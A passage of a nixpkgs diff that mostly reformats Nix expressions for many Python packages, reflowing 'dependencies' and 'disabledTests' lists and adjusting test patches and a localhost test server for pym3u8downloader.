+      --replace-fail '"sphinx<=8.1.3",' "" \
+      --replace-fail '"sphinx-autoapi<=3.3.2",' ""
+    substituteInPlace buildconfig/config_{unix,darwin}.py \
+      --replace-fail 'from distutils' 'from setuptools._distutils'
+    substituteInPlace src_py/sysfont.py \
+      --replace-fail 'path="fc-list"' 'path="${fontconfig}/bin/fc-list"' \
+      --replace-fail /usr/X11/bin/fc-list ${fontconfig}/bin/fc-list
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # flaky
+    rm test/system_test.py
+    substituteInPlace test/meson.build \
+      --replace-fail "'system_test.py'," ""
+  '';
 
   nativeBuildInputs = [
     pkg-config
@@ -114,13 +113,12 @@ buildPythonPackage rec {
     ${python.pythonOnBuildForHost.interpreter} -m buildconfig.config
   '';
 
-  env =
-    {
-      SDL_CONFIG = lib.getExe' (lib.getDev SDL2) "sdl2-config";
-    }
-    // lib.optionalAttrs stdenv.cc.isClang {
-      NIX_CFLAGS_COMPILE = "-Wno-error=incompatible-function-pointer-types";
-    };
+  env = {
+    SDL_CONFIG = lib.getExe' (lib.getDev SDL2) "sdl2-config";
+  }
+  // lib.optionalAttrs stdenv.cc.isClang {
+    NIX_CFLAGS_COMPILE = "-Wno-error=incompatible-function-pointer-types";
+  };
 
   preCheck = ''
     export HOME=$(mktemp -d)
diff --git a/pkgs/development/python-modules/pygame-gui/default.nix b/pkgs/development/python-modules/pygame-gui/default.nix
index 4b6132f16455..fc6e63f0cb12 100644
--- a/pkgs/development/python-modules/pygame-gui/default.nix
+++ b/pkgs/development/python-modules/pygame-gui/default.nix
@@ -43,24 +43,23 @@ buildPythonPackage rec {
     export SDL_VIDEODRIVER=dummy
   '';
 
-  disabledTests =
-    [
-      # Clipboard doesn't exist in test environment
-      "test_process_event_text_ctrl_c"
-      "test_process_event_text_ctrl_v"
-      "test_process_event_text_ctrl_v_nothing"
-      "test_process_event_ctrl_v_over_limit"
-      "test_process_event_ctrl_v_at_limit"
-      "test_process_event_ctrl_v_over_limit_select_range"
-      "test_process_event_text_ctrl_v_select_range"
-      "test_process_event_text_ctrl_a"
-      "test_process_event_text_ctrl_x"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # fails to determine "/" as an existing path
-      # https://github.com/MyreMylar/pygame_gui/issues/644
-      "test_process_event"
-    ];
+  disabledTests = [
+    # Clipboard doesn't exist in test environment
+    "test_process_event_text_ctrl_c"
+    "test_process_event_text_ctrl_v"
+    "test_process_event_text_ctrl_v_nothing"
+    "test_process_event_ctrl_v_over_limit"
+    "test_process_event_ctrl_v_at_limit"
+    "test_process_event_ctrl_v_over_limit_select_range"
+    "test_process_event_text_ctrl_v_select_range"
+    "test_process_event_text_ctrl_a"
+    "test_process_event_text_ctrl_x"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # fails to determine "/" as an existing path
+    # https://github.com/MyreMylar/pygame_gui/issues/644
+    "test_process_event"
+  ];
 
   disabledTestPaths = [ "tests/test_performance/test_text_performance.py" ];
 
diff --git a/pkgs/development/python-modules/pygatt/default.nix b/pkgs/development/python-modules/pygatt/default.nix
index 7233c5b4153c..6e6ff7905a00 100644
--- a/pkgs/development/python-modules/pygatt/default.nix
+++ b/pkgs/development/python-modules/pygatt/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     mock
     pytestCheckHook
-  ] ++ optional-dependencies.GATTTOOL;
+  ]
+  ++ optional-dependencies.GATTTOOL;
 
   pythonImportsCheck = [ "pygatt" ];
 
diff --git a/pkgs/development/python-modules/pygit2/default.nix b/pkgs/development/python-modules/pygit2/default.nix
index 04e641b11cc5..866d9dfc2ddc 100644
--- a/pkgs/development/python-modules/pygit2/default.nix
+++ b/pkgs/development/python-modules/pygit2/default.nix
@@ -37,7 +37,8 @@ buildPythonPackage rec {
   dependencies = [
     cached-property
     pycparser
-  ] ++ lib.optionals (!isPyPy) [ cffi ];
+  ]
+  ++ lib.optionals (!isPyPy) [ cffi ];
 
   propagatedNativeBuildInputs = lib.optionals (!isPyPy) [ cffi ];
 
diff --git a/pkgs/development/python-modules/pygithub/default.nix b/pkgs/development/python-modules/pygithub/default.nix
index d70539558ac5..86cc0e436660 100644
--- a/pkgs/development/python-modules/pygithub/default.nix
+++ b/pkgs/development/python-modules/pygithub/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
     requests
     typing-extensions
     urllib3
-  ] ++ pyjwt.optional-dependencies.crypto;
+  ]
+  ++ pyjwt.optional-dependencies.crypto;
 
   # Test suite makes REST calls against github.com
   doCheck = false;
diff --git a/pkgs/development/python-modules/pygobject/3.nix b/pkgs/development/python-modules/pygobject/3.nix
index 88dfb1e1abb3..18c6690e60f6 100644
--- a/pkgs/development/python-modules/pygobject/3.nix
+++ b/pkgs/development/python-modules/pygobject/3.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
   buildInputs = [
     cairo
     glib
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ ncurses ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ ncurses ];
 
   propagatedBuildInputs = [
     pycairo
diff --git a/pkgs/development/python-modules/pyhanko/default.nix b/pkgs/development/python-modules/pyhanko/default.nix
index e6c34ec446bd..e1b626c7863e 100644
--- a/pkgs/development/python-modules/pyhanko/default.nix
+++ b/pkgs/development/python-modules/pyhanko/default.nix
@@ -90,53 +90,52 @@ buildPythonPackage rec {
     pytestCheckHook
     python-pae
     requests-mock
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
-  disabledTestPaths =
-    [
-      # ModuleNotFoundError: No module named 'csc_dummy'
-      "pyhanko_tests/test_csc.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # OSError: One or more parameters passed to a function were not valid.
-      "pyhanko_tests/cli_tests"
-    ];
+  disabledTestPaths = [
+    # ModuleNotFoundError: No module named 'csc_dummy'
+    "pyhanko_tests/test_csc.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # OSError: One or more parameters passed to a function were not valid.
+    "pyhanko_tests/cli_tests"
+  ];
 
-  disabledTests =
-    [
-      # Most of the test require working with local certificates,
-      # contacting OSCP or performing requests
-      "test_generic_data_sign_legacy"
-      "test_generic_data_sign"
-      "test_cms_v3_sign"
-      "test_detached_cms_with_self_reported_timestamp"
-      "test_detached_cms_with_tst"
-      "test_detached_cms_with_content_tst"
-      "test_detached_cms_with_wrong_content_tst"
-      "test_detached_with_malformed_content_tst"
-      "test_noop_attribute_prov"
-      "test_detached_cades_cms_with_tst"
-      "test_read_qr_config"
-      "test_no_changes_policy"
-      "test_bogus_metadata_manipulation"
-      "test_tamper_sig_obj"
-      "test_signed_file_diff_proxied_objs"
-      "test_pades_revinfo_live"
-      "test_diff_fallback_ok"
-      "test_no_diff_summary"
-      "test_ocsp_embed"
-      "test_ts_fetch_aiohttp"
-      "test_ts_fetch_requests"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # OSError: One or more parameters passed to a function were not valid.
-      "test_detached_cms_with_duplicated_attr"
-      "test_detached_cms_with_wrong_tst"
-      "test_diff_analysis_add_extensions_dict"
-      "test_diff_analysis_update_indirect_extensions_not_all_path"
-      "test_no_certificates"
-      "test_ocsp_without_nextupdate_embed"
-    ];
+  disabledTests = [
+    # Most of the test require working with local certificates,
+    # contacting OSCP or performing requests
+    "test_generic_data_sign_legacy"
+    "test_generic_data_sign"
+    "test_cms_v3_sign"
+    "test_detached_cms_with_self_reported_timestamp"
+    "test_detached_cms_with_tst"
+    "test_detached_cms_with_content_tst"
+    "test_detached_cms_with_wrong_content_tst"
+    "test_detached_with_malformed_content_tst"
+    "test_noop_attribute_prov"
+    "test_detached_cades_cms_with_tst"
+    "test_read_qr_config"
+    "test_no_changes_policy"
+    "test_bogus_metadata_manipulation"
+    "test_tamper_sig_obj"
+    "test_signed_file_diff_proxied_objs"
+    "test_pades_revinfo_live"
+    "test_diff_fallback_ok"
+    "test_no_diff_summary"
+    "test_ocsp_embed"
+    "test_ts_fetch_aiohttp"
+    "test_ts_fetch_requests"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # OSError: One or more parameters passed to a function were not valid.
+    "test_detached_cms_with_duplicated_attr"
+    "test_detached_cms_with_wrong_tst"
+    "test_diff_analysis_add_extensions_dict"
+    "test_diff_analysis_update_indirect_extensions_not_all_path"
+    "test_no_certificates"
+    "test_ocsp_without_nextupdate_embed"
+  ];
 
   pythonImportsCheck = [ "pyhanko" ];
 
diff --git a/pkgs/development/python-modules/pyheos/default.nix b/pkgs/development/python-modules/pyheos/default.nix
index ad154e5cd6ea..da1f9fefc08c 100644
--- a/pkgs/development/python-modules/pyheos/default.nix
+++ b/pkgs/development/python-modules/pyheos/default.nix
@@ -29,15 +29,14 @@ buildPythonPackage rec {
     syrupy
   ];
 
-  disabledTests =
-    [
-      # accesses network
-      "test_connect_timeout"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # OSError: could not bind on any address out of [('127.0.0.2', 1255)]
-      "test_failover"
-    ];
+  disabledTests = [
+    # accesses network
+    "test_connect_timeout"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # OSError: could not bind on any address out of [('127.0.0.2', 1255)]
+    "test_failover"
+  ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/pyiceberg/default.nix b/pkgs/development/python-modules/pyiceberg/default.nix
index 01b4af3523ba..e6fd6185591c 100644
--- a/pkgs/development/python-modules/pyiceberg/default.nix
+++ b/pkgs/development/python-modules/pyiceberg/default.nix
@@ -182,7 +182,8 @@ buildPythonPackage rec {
     s3fs
     sqlalchemy
     thrift
-  ] ++ moto.optional-dependencies.server;
+  ]
+  ++ moto.optional-dependencies.server;
 
   pytestFlagsArray = [
     "-W"
@@ -198,61 +199,60 @@ buildPythonPackage rec {
     "tests/integration"
   ];
 
-  disabledTests =
-    [
-      # ModuleNotFoundError: No module named 'puresasl'
-      "test_create_hive_client_with_kerberos"
-      "test_create_hive_client_with_kerberos_using_context_manager"
+  disabledTests = [
+    # ModuleNotFoundError: No module named 'puresasl'
+    "test_create_hive_client_with_kerberos"
+    "test_create_hive_client_with_kerberos_using_context_manager"
 
-      # Require unpackaged pyiceberg_core
-      "test_bucket_pyarrow_transforms"
-      "test_transform_consistency_with_pyarrow_transform"
-      "test_truncate_pyarrow_transforms"
+    # Require unpackaged pyiceberg_core
+    "test_bucket_pyarrow_transforms"
+    "test_transform_consistency_with_pyarrow_transform"
+    "test_truncate_pyarrow_transforms"
 
-      # botocore.exceptions.EndpointConnectionError: Could not connect to the endpoint URL
-      "test_checking_if_a_file_exists"
-      "test_closing_a_file"
-      "test_fsspec_file_tell"
-      "test_fsspec_getting_length_of_file"
-      "test_fsspec_pickle_round_trip_s3"
-      "test_fsspec_raise_on_opening_file_not_found"
-      "test_fsspec_read_specified_bytes_for_file"
-      "test_fsspec_write_and_read_file"
-      "test_writing_avro_file"
+    # botocore.exceptions.EndpointConnectionError: Could not connect to the endpoint URL
+    "test_checking_if_a_file_exists"
+    "test_closing_a_file"
+    "test_fsspec_file_tell"
+    "test_fsspec_getting_length_of_file"
+    "test_fsspec_pickle_round_trip_s3"
+    "test_fsspec_raise_on_opening_file_not_found"
+    "test_fsspec_read_specified_bytes_for_file"
+    "test_fsspec_write_and_read_file"
+    "test_writing_avro_file"
 
-      # Require unpackaged gcsfs
-      "test_fsspec_converting_an_outputfile_to_an_inputfile_gcs"
-      "test_fsspec_new_input_file_gcs"
-      "test_fsspec_new_output_file_gcs"
-      "test_fsspec_pickle_roundtrip_gcs"
+    # Require unpackaged gcsfs
+    "test_fsspec_converting_an_outputfile_to_an_inputfile_gcs"
+    "test_fsspec_new_input_file_gcs"
+    "test_fsspec_new_output_file_gcs"
+    "test_fsspec_pickle_roundtrip_gcs"
 
-      # Timeout (network access)
-      "test_fsspec_converting_an_outputfile_to_an_inputfile_adls"
-      "test_fsspec_new_abfss_output_file_adls"
-      "test_fsspec_new_input_file_adls"
-      "test_fsspec_pickle_round_trip_aldfs"
-      "test_partitioned_write"
-      "test_token_200_w_oauth2_server_uri"
+    # Timeout (network access)
+    "test_fsspec_converting_an_outputfile_to_an_inputfile_adls"
+    "test_fsspec_new_abfss_output_file_adls"
+    "test_fsspec_new_input_file_adls"
+    "test_fsspec_pickle_round_trip_aldfs"
+    "test_partitioned_write"
+    "test_token_200_w_oauth2_server_uri"
 
-      # Hangs forever (from tests/io/test_pyarrow.py)
-      "test_getting_length_of_file_gcs"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # ImportError: The pyarrow installation is not built with support for 'GcsFileSystem'
-      "test_converting_an_outputfile_to_an_inputfile_gcs"
-      "test_new_input_file_gcs"
-      "test_new_output_file_gc"
+    # Hangs forever (from tests/io/test_pyarrow.py)
+    "test_getting_length_of_file_gcs"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # ImportError: The pyarrow installation is not built with support for 'GcsFileSystem'
+    "test_converting_an_outputfile_to_an_inputfile_gcs"
+    "test_new_input_file_gcs"
+    "test_new_output_file_gc"
 
-      # PermissionError: [Errno 13] Failed to open local file
-      # '/tmp/iceberg/warehouse/default.db/test_projection_partitions/metadata/00000-6c1c61a1-495f-45d3-903d-a2643431be91.metadata.json'
-      "test_identity_transform_column_projection"
-      "test_identity_transform_columns_projection"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # AssertionError:
-      # assert "Incompatible with StructProtocol: <class 'str'>" in "Unable to initialize struct: <class 'str'>"
-      "test_read_not_struct_type"
-    ];
+    # PermissionError: [Errno 13] Failed to open local file
+    # '/tmp/iceberg/warehouse/default.db/test_projection_partitions/metadata/00000-6c1c61a1-495f-45d3-903d-a2643431be91.metadata.json'
+    "test_identity_transform_column_projection"
+    "test_identity_transform_columns_projection"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # AssertionError:
+    # assert "Incompatible with StructProtocol: <class 'str'>" in "Unable to initialize struct: <class 'str'>"
+    "test_read_not_struct_type"
+  ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/pyinfra/default.nix b/pkgs/development/python-modules/pyinfra/default.nix
index 1a2aa719e568..88bd5a77e525 100644
--- a/pkgs/development/python-modules/pyinfra/default.nix
+++ b/pkgs/development/python-modules/pyinfra/default.nix
@@ -34,21 +34,20 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      click
-      distro
-      gevent
-      jinja2
-      packaging
-      paramiko
-      python-dateutil
-      pywinrm
-      setuptools
-      typeguard
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ]
-    ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  dependencies = [
+    click
+    distro
+    gevent
+    jinja2
+    packaging
+    paramiko
+    python-dateutil
+    pywinrm
+    setuptools
+    typeguard
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/pyipp/default.nix b/pkgs/development/python-modules/pyipp/default.nix
index 27b52cbaaca2..8f989e01c043 100644
--- a/pkgs/development/python-modules/pyipp/default.nix
+++ b/pkgs/development/python-modules/pyipp/default.nix
@@ -44,7 +44,8 @@ buildPythonPackage rec {
     backoff
     deepmerge
     yarl
-  ] ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
 
   nativeCheckInputs = [
     aresponses
diff --git a/pkgs/development/python-modules/pykakasi/default.nix b/pkgs/development/python-modules/pykakasi/default.nix
index 55af4374ad8a..95100bea4178 100644
--- a/pkgs/development/python-modules/pykakasi/default.nix
+++ b/pkgs/development/python-modules/pykakasi/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
   dependencies = [
     jaconv
     deprecated
-  ] ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
 
   nativeCheckInputs = [
     py-cpuinfo
diff --git a/pkgs/development/python-modules/pykaleidescape/default.nix b/pkgs/development/python-modules/pykaleidescape/default.nix
index 5862c258d2df..e461e8e66167 100644
--- a/pkgs/development/python-modules/pykaleidescape/default.nix
+++ b/pkgs/development/python-modules/pykaleidescape/default.nix
@@ -39,16 +39,15 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "kaleidescape" ];
 
-  disabledTests =
-    [
-      # Test requires network access
-      "test_resolve_succeeds"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # stuck in EpollSelector.poll()
-      "test_manual_disconnect"
-      "test_concurrency"
-    ];
+  disabledTests = [
+    # Test requires network access
+    "test_resolve_succeeds"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # stuck in EpollSelector.poll()
+    "test_manual_disconnect"
+    "test_concurrency"
+  ];
 
   meta = with lib; {
     description = "Module for controlling Kaleidescape devices";
diff --git a/pkgs/development/python-modules/pylance/default.nix b/pkgs/development/python-modules/pylance/default.nix
index 856fcd3748ce..3315d9f936b5 100644
--- a/pkgs/development/python-modules/pylance/default.nix
+++ b/pkgs/development/python-modules/pylance/default.nix
@@ -90,22 +90,22 @@ buildPythonPackage rec {
     polars
     pytestCheckHook
     tqdm
-  ] ++ optional-dependencies.torch;
+  ]
+  ++ optional-dependencies.torch;
 
   preCheck = ''
     cd python/tests
   '';
 
-  disabledTests =
-    [
-      # Writes to read-only build directory
-      "test_add_data_storage_version"
-      "test_fix_data_storage_version"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # OSError: LanceError(IO): Resources exhausted: Failed to allocate additional 1245184 bytes for ExternalSorter[0]...
-      "test_merge_insert_large"
-    ];
+  disabledTests = [
+    # Writes to read-only build directory
+    "test_add_data_storage_version"
+    "test_fix_data_storage_version"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # OSError: LanceError(IO): Resources exhausted: Failed to allocate additional 1245184 bytes for ExternalSorter[0]...
+    "test_merge_insert_large"
+  ];
 
   meta = {
     description = "Python wrapper for Lance columnar format";
diff --git a/pkgs/development/python-modules/pylint/default.nix b/pkgs/development/python-modules/pylint/default.nix
index 233d6ce19e2f..a2dd0981da6d 100644
--- a/pkgs/development/python-modules/pylint/default.nix
+++ b/pkgs/development/python-modules/pylint/default.nix
@@ -37,17 +37,16 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      astroid
-      dill
-      isort
-      mccabe
-      platformdirs
-      tomlkit
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [ tomli ]
-    ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
+  dependencies = [
+    astroid
+    dill
+    isort
+    mccabe
+    platformdirs
+    tomlkit
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ]
+  ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
 
   nativeCheckInputs = [
     gitpython
@@ -81,28 +80,27 @@ buildPythonPackage rec {
     "tests/pyreverse/test_writer.py"
   ];
 
-  disabledTests =
-    [
-      # AssertionError when self executing and checking output
-      # expected output looks like it should match though
-      "test_invocation_of_pylint_config"
-      "test_generate_rcfile"
-      "test_generate_toml_config"
-      "test_help_msg"
-      "test_output_of_callback_options"
-      # Failed: DID NOT WARN. No warnings of type (<class 'UserWarning'>,) were emitted. The list of emitted warnings is: [].
-      "test_save_and_load_not_a_linter_stats"
-      # Truncated string expectation mismatch
-      "test_truncated_compare"
-      # Probably related to pytest versions, see pylint-dev/pylint#9477 and pylint-dev/pylint#9483
-      "test_functional"
-      # AssertionError: assert [('specializa..., 'Ancestor')] == [('aggregatio..., 'Ancestor')]
-      "test_functional_relation_extraction"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_parallel_execution"
-      "test_py3k_jobs_option"
-    ];
+  disabledTests = [
+    # AssertionError when self executing and checking output
+    # expected output looks like it should match though
+    "test_invocation_of_pylint_config"
+    "test_generate_rcfile"
+    "test_generate_toml_config"
+    "test_help_msg"
+    "test_output_of_callback_options"
+    # Failed: DID NOT WARN. No warnings of type (<class 'UserWarning'>,) were emitted. The list of emitted warnings is: [].
+    "test_save_and_load_not_a_linter_stats"
+    # Truncated string expectation mismatch
+    "test_truncated_compare"
+    # Probably related to pytest versions, see pylint-dev/pylint#9477 and pylint-dev/pylint#9483
+    "test_functional"
+    # AssertionError: assert [('specializa..., 'Ancestor')] == [('aggregatio..., 'Ancestor')]
+    "test_functional_relation_extraction"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_parallel_execution"
+    "test_py3k_jobs_option"
+  ];
 
   meta = {
     description = "Bug and style checker for Python";
diff --git a/pkgs/development/python-modules/pylsp-mypy/default.nix b/pkgs/development/python-modules/pylsp-mypy/default.nix
index 8ff5d66ccf49..63c5a1bdfb9a 100644
--- a/pkgs/development/python-modules/pylsp-mypy/default.nix
+++ b/pkgs/development/python-modules/pylsp-mypy/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
   dependencies = [
     mypy
     python-lsp-server
-  ] ++ lib.optional (pythonOlder "3.11") tomli;
+  ]
+  ++ lib.optional (pythonOlder "3.11") tomli;
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/pylutron-caseta/default.nix b/pkgs/development/python-modules/pylutron-caseta/default.nix
index 6d9191b2dbfd..a42a8eee440b 100644
--- a/pkgs/development/python-modules/pylutron-caseta/default.nix
+++ b/pkgs/development/python-modules/pylutron-caseta/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
   dependencies = [
     cryptography
     orjson
-  ] ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
 
   optional-dependencies = {
     cli = [
@@ -48,7 +49,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytest-timeout
     pytestCheckHook
-  ] ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
 
   pytestFlagsArray = [ "--asyncio-mode=auto" ];
 
diff --git a/pkgs/development/python-modules/pym3u8downloader/default.nix b/pkgs/development/python-modules/pym3u8downloader/default.nix
index 283dcbaee981..c277d4dc8502 100644
--- a/pkgs/development/python-modules/pym3u8downloader/default.nix
+++ b/pkgs/development/python-modules/pym3u8downloader/default.nix
@@ -37,35 +37,29 @@ buildPythonPackage rec {
       pytest = pym3u8downloader.overridePythonAttrs (previousPythonAttrs: {
         TEST_SERVER_PORT = "8000";
 
-        postPatch =
-          previousPythonAttrs.postPatch or ""
-          + ''
-            # Patch test data location
-            substituteInPlace tests/commonclass.py \
-              --replace-fail \
-                "f'https://raw.githubusercontent.com/coldsofttech/pym3u8downloader/{branch_name}/tests/files'" \
-                "'http://localhost:$TEST_SERVER_PORT/tests/files'"
-            # Patch the `is_internet_connected()` method
-            substituteInPlace pym3u8downloader/__main__.py \
-              --replace-fail "'http://www.github.com'" "'http://localhost:$TEST_SERVER_PORT'"
-          '';
+        postPatch = previousPythonAttrs.postPatch or "" + ''
+          # Patch test data location
+          substituteInPlace tests/commonclass.py \
+            --replace-fail \
+              "f'https://raw.githubusercontent.com/coldsofttech/pym3u8downloader/{branch_name}/tests/files'" \
+              "'http://localhost:$TEST_SERVER_PORT/tests/files'"
+          # Patch the `is_internet_connected()` method
+          substituteInPlace pym3u8downloader/__main__.py \
+            --replace-fail "'http://www.github.com'" "'http://localhost:$TEST_SERVER_PORT'"
+        '';
 
         doCheck = true;
 
         nativeCheckInputs = [ pytestCheckHook ];
 
-        preCheck =
-          previousPythonAttrs.preCheck or ""
-          + ''
-            python3 -m http.server "$TEST_SERVER_PORT" &
-            TEST_SERVER_PID="$!"
-          '';
+        preCheck = previousPythonAttrs.preCheck or "" + ''
+          python3 -m http.server "$TEST_SERVER_PORT" &
+          TEST_SERVER_PID="$!"
+        '';
 
-        postCheck =
-          previousPythonAttrs.postCheck or ""
-          + ''
-            kill -s TERM "$TEST_SERVER_PID"
-          '';
+        postCheck = previousPythonAttrs.postCheck or "" + ''
+          kill -s TERM "$TEST_SERVER_PID"
+        '';
       });
     };
   };
diff --git a/pkgs/development/python-modules/pymatgen/default.nix b/pkgs/development/python-modules/pymatgen/default.nix
index 2ddaebe899d3..9fe3ba745e65 100644
--- a/pkgs/development/python-modules/pymatgen/default.nix
+++ b/pkgs/development/python-modules/pymatgen/default.nix
@@ -120,7 +120,8 @@ buildPythonPackage rec {
     addBinToPathHook
     pytestCheckHook
     pytest-xdist
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   preCheck =
     # ensure tests can find these
@@ -128,37 +129,36 @@ buildPythonPackage rec {
       export PMG_TEST_FILES_DIR="$(realpath ./tests/files)"
     '';
 
-  disabledTests =
-    [
-      # Flaky
-      "test_numerical_eos_values"
-      "test_pca"
-      "test_static_si_no_kgrid"
-      "test_thermal_conductivity"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # AttributeError: 'NoneType' object has no attribute 'items'
-      "test_mean_field"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Fatal Python error: Aborted
-      # matplotlib/backend_bases.py", line 2654 in create_with_canvas
-      "test_angle"
-      "test_as_dict_from_dict"
-      "test_attributes"
-      "test_basic"
-      "test_core_state_eigen"
-      "test_eos_func"
-      "test_get_info_cohps_to_neighbors"
-      "test_get_plot"
-      "test_get_point_group_operations"
-      "test_matplotlib_plots"
-      "test_ph_plot_w_gruneisen"
-      "test_plot"
-      "test_proj_bandstructure_plot"
-      "test_structure"
-      "test_structure_environments"
-    ];
+  disabledTests = [
+    # Flaky
+    "test_numerical_eos_values"
+    "test_pca"
+    "test_static_si_no_kgrid"
+    "test_thermal_conductivity"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # AttributeError: 'NoneType' object has no attribute 'items'
+    "test_mean_field"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Fatal Python error: Aborted
+    # matplotlib/backend_bases.py", line 2654 in create_with_canvas
+    "test_angle"
+    "test_as_dict_from_dict"
+    "test_attributes"
+    "test_basic"
+    "test_core_state_eigen"
+    "test_eos_func"
+    "test_get_info_cohps_to_neighbors"
+    "test_get_plot"
+    "test_get_point_group_operations"
+    "test_matplotlib_plots"
+    "test_ph_plot_w_gruneisen"
+    "test_plot"
+    "test_proj_bandstructure_plot"
+    "test_structure"
+    "test_structure_environments"
+  ];
 
   disabledTestPaths = lib.optionals stdenv.hostPlatform.isDarwin [
     # Crash when running the pmg command
diff --git a/pkgs/development/python-modules/pymatting/default.nix b/pkgs/development/python-modules/pymatting/default.nix
index 89ca430db1c3..74fe384e059d 100644
--- a/pkgs/development/python-modules/pymatting/default.nix
+++ b/pkgs/development/python-modules/pymatting/default.nix
@@ -28,17 +28,16 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      numba
-      numpy
-      pillow
-      scipy
-    ]
-    ++ lib.optionals cudaSupport [
-      cupy
-      pyopencl
-    ];
+  dependencies = [
+    numba
+    numpy
+    pillow
+    scipy
+  ]
+  ++ lib.optionals cudaSupport [
+    cupy
+    pyopencl
+  ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/pymodbus/default.nix b/pkgs/development/python-modules/pymodbus/default.nix
index ed8b828215ca..c6ae93737583 100644
--- a/pkgs/development/python-modules/pymodbus/default.nix
+++ b/pkgs/development/python-modules/pymodbus/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
     redis
     sqlalchemy
     twisted
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   preCheck = ''
     pushd test
@@ -59,16 +60,15 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "pymodbus" ];
 
-  disabledTests =
-    [
-      # Tests often hang
-      "test_connected"
-    ]
-    ++ lib.optionals (lib.versionAtLeast aiohttp.version "3.9.0") [
-      "test_split_serial_packet"
-      "test_serial_poll"
-      "test_simulator"
-    ];
+  disabledTests = [
+    # Tests often hang
+    "test_connected"
+  ]
+  ++ lib.optionals (lib.versionAtLeast aiohttp.version "3.9.0") [
+    "test_split_serial_packet"
+    "test_serial_poll"
+    "test_simulator"
+  ];
 
   meta = with lib; {
     description = "Python implementation of the Modbus protocol";
diff --git a/pkgs/development/python-modules/pymoo/default.nix b/pkgs/development/python-modules/pymoo/default.nix
index 6f4d59689c50..f93c72a28969 100644
--- a/pkgs/development/python-modules/pymoo/default.nix
+++ b/pkgs/development/python-modules/pymoo/default.nix
@@ -94,24 +94,23 @@ buildPythonPackage rec {
   ];
   # Select some lightweight tests
   pytestFlagsArray = [ "-m 'not long'" ];
-  disabledTests =
-    [
-      # ModuleNotFoundError: No module named 'pymoo.cython.non_dominated_sorting'
-      "test_fast_non_dominated_sorting"
-      "test_efficient_non_dominated_sort"
-      "test_dominance_degree_non_dominated_sort"
